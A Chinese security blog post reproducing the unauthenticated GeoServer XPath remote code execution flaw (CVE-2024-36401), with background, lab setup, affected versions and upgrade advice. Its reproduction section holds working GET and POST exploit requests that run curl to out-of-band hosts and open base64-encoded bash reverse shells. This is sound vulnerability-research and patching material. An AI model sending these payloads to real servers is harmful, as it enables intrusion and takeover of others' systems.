0x00 介绍
GeoServer 是一款基于 Java 的服务器,允许用户查看和编辑地理空间数据。GeoServer 使用开放地理空间联盟 (OGC)制定的开放标准,在地图创建和数据共享方面具有极大的灵活性。
通过实施Web 地图服务 (WMS)标准,GeoServer 可以创建多种输出格式的地图。GeoServer集成了免费地图库OpenLayers ,使地图生成变得快速而简单。GeoServer 建立在开源 Java GIS 工具包 GeoTools之上。
GeoServer 符合Web 要素服务 (WFS)标准和Web 覆盖服务 (WCS)标准,允许共享和编辑用于生成地图的数据。
0x01 漏洞概述
由于不安全地将属性名称评估为 XPath 表达式,多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)
0x02 漏洞细节
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库。GeoServer使用的xpath引擎是Apache Commons Jxpath,Jxpath在执行xpath表达式时支持调用Java中的方法,如果用户控制了xpath表达式,可以直接执行任意代码造成RCE漏洞。关于Apache Commons Jxpath的这个RCE漏洞可参考:https://tttang.com/archive/1771/
官方通告中描述说“可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞”。
这实际上涉及到两个漏洞:CVE-2024-36401和CVE-2024-36404。CVE-2024-36401是未授权用户通过OGC请求控制了复杂的xpath表达式,CVE-2024-36404则是xpath表达式中存在代码执行。所以,实际上两个漏洞串起来造成了最后的RCE。
0x03 漏洞复现
1.环境搭建
在macOS上使用PD自带的ubuntu(x86_64 emulation)拉取vulhub镜像https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401复现失败:
这可能是由于架构问题导致。于是自己搭建环境。
下载sourceforge上使用较多的2.23.2版本:
https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.2/geoserver-2.23.2-bin.zip/download
解压并运行startup.sh即可:
unzip
geoserver-2.23.2-bin.zip -d geoserver
cd
geoserver/bin
./startup.sh
访问http://10.211.55.3:8080/geoserver
2.POC 复现
GET请求方式:
GET
/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'curl%20gvfwdu6wfrqflq0rw3uk9d1v8mec21.oastify.com')
HTTP/1.1
Host
: 10.211.55.3:8080
Accept-Encoding
: gzip, deflate, br
Accept
: */*
Accept-Language
: en-US;q=0.9,en;q=0.8
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection
: close
Cache-Control
: max-age=0
Content-Length
: 4
DNSLog上收到请求:
POST请求方式:
POST
/geoserver/wfs
HTTP/1.1
Host
: your-ip:8080
Accept-Encoding
: gzip, deflate, br
Accept
: */*
Accept-Language
: en-US;q=0.9,en;q=0.8
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection
: close
Cache-Control
: max-age=0
Content-Type
: application/xml
Content-Length
: 356
<
wfs:GetPropertyValue
service
=
'WFS'
version
=
'2.0.0'
xmlns:topp
=
'http://www.openplans.org/topp'
xmlns:fes
=
'http://www.opengis.net/fes/2.0'
xmlns:wfs
=
'http://www.opengis.net/wfs/2.0'
>
<
wfs:Query
typeNames
=
'sf:archsites'
/>
<
wfs:valueReference
>
exec(java.lang.Runtime.getRuntime(),'curl 1ce3i25gtskpoeleva6yaxfl2c82wr.oastify.com')
</
wfs:valueReference
>
</
wfs:GetPropertyValue
>
DNSLog上收到请求:
3.GetShell
GET请求方式:
GET
/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash%20-c%20{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMTEuNTUuNi8xMjM0IDA%2bJjE%3d}|{base64,-d}|{bash,-i}')
HTTP/1.1
Host
: 10.211.55.3:8080
Accept-Encoding
: gzip, deflate, br
Accept
: */*
Accept-Language
: en-US;q=0.9,en;q=0.8
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection
: close
Cache-Control
: max-age=0
Content-Length
: 4
获取权限:
POST请求方式:
POST
/geoserver/wfs
HTTP/1.1
Host
: 10.211.55.3:8080
Accept-Encoding
: gzip, deflate, br
Accept
: */*
Accept-Language
: en-US;q=0.9,en;q=0.8
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection
: close
Cache-Control
: max-age=0
Content-Type
: application/xml
Content-Length
: 438
<
wfs:GetPropertyValue
service
=
'WFS'
version
=
'2.0.0'
xmlns:topp
=
'http://www.openplans.org/topp'
xmlns:fes
=
'http://www.opengis.net/fes/2.0'
xmlns:wfs
=
'http://www.opengis.net/wfs/2.0'
>
<
wfs:Query
typeNames
=
'sf:archsites'
/>
<
wfs:valueReference
>
exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNi8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}')
</
wfs:valueReference
>
</
wfs:GetPropertyValue
>
获取权限:
注意:linux反弹shell原payload为 bash -i >& /dev/tcp/ip/port 0>&1 网络传输时需要进行base64编码,GET方式利用时base64编码后还需要再进行url编码
0x04 影响版本
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
0x05 修复和缓解
官方已发布修复版本,建议受影响用户升级至最新版本:
GeoServer 2.23.* >= 2.23.6
GeoServer 2.24.* >= 2.24.4
GeoServer 2.25.* >= 2.25.2
缓解措施详见:https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):Geoserver Xpath 属性名表达式前台RCE漏洞(CVE-2024-36401)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论